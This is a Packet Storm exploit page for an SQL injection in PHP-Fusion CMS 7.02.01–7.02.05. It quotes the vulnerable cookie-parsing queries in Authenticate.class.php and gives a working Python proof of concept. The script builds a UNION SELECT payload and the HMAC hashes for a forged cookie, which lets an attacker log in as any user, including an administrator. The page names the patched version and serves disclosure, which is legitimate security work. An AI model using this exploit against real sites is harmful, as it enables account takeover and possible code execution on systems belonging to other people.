what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP-Fusion CMS 7.02.05 SQL Injection

PHP-Fusion CMS 7.02.05 SQL Injection
Posted Feb 18, 2013
Authored by Krzysztof Katowicz-Kowalewski

PHP-Fusion CMS versions 7.02.01 through 7.02.05 suffer from a remote SQL injection vulnerability.

tags | exploit, remote, php, sql injection
SHA-256 | 8af2eceb6310de34f105ac3f1d63fa473bc238e02647218b091b5fa4cd42959e

PHP-Fusion CMS 7.02.05 SQL Injection

Change Mirror Download
SQL Injection vulnerability exists in releases since 7.02.01 till 7.02.05 of PHP-Fusion CMS. The vulnerability allows the attacker to authenticate as an arbitrary user and act with its rights which might lead to the code execution. Because of exploitation simplicity, the potential risk is very high. Magic Quotes feature protects against this coding flaw. Version 7.02.06 fixes presented security problem.

Affected file: includes/classes/Authenticate.class.php
023: define("COOKIE_USER", COOKIE_PREFIX."user");
024: define("COOKIE_ADMIN", COOKIE_PREFIX."admin");
147: $cookieDataArr = explode(".", $_COOKIE[COOKIE_USER]);
150: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr;
153: $result = dbquery(
154: "SELECT * FROM ".DB_USERS."
155: WHERE user_id='".$userID."' AND user_status='0' AND user_actiontime='0'
156: LIMIT 1"
157: );
195: $cookieDataArr = explode(".", $_COOKIE[COOKIE_ADMIN]);
197: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr;
200: $result = dbquery(
201: "SELECT user_admin_algo, user_admin_salt FROM ".DB_USERS."
202: WHERE user_id='".$userID."' AND user_level>101 AND user_status='0' AND user_actiontime='0'
203: LIMIT 1"
204: );

# Proof of Concept
# PHP-Fusion 7.02.05
# Authentication spoofing
# Author: vnd at vndh.net
from http import client
from time import time
import hashlib
import hmac
import re

def generateCookie(address, path, userid, password = 'admin'):
connection = client.HTTPConnection(address)
connection.request("GET", "%s/profile.php?lookup=%d" % (path, userid))
response = connection.getresponse()
if response.status != 200: raise BaseException("bad status")
cookies = response.getheader("Set-Cookie")
pattern = re.compile("([A-Z0-9\_]+)lastvisit", re.IGNORECASE)
cookiesearch = pattern.search(cookies)
if cookiesearch == None: raise BaseException("bad cookie")
cookiename = cookiesearch.groups()
cookiename = "%suser" % cookiename[0]
source = response.read()
connection.close()
source = source.decode("utf-8")
pattern = re.compile("<!--profile_user_name-->(.*)<")
username = pattern.search(source).groups()
username = username[0]

injection = "-1' union select %d,'%s','sha256','','%s'%s,101%s -- " % (userid, username, password, ",0" * 15,",0" * 12)
expiration = str(int(time() + 86400))
userhash = ""
userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest()
userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest()

return (cookiename, ".".join([injection, expiration, userhash]))

Reference: https://vndh.net/note:php-fusion-70205-sql-injection
Patched version: http://www.php-fusion.co.uk/downloads.php?cat_id=23&download_id=264

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close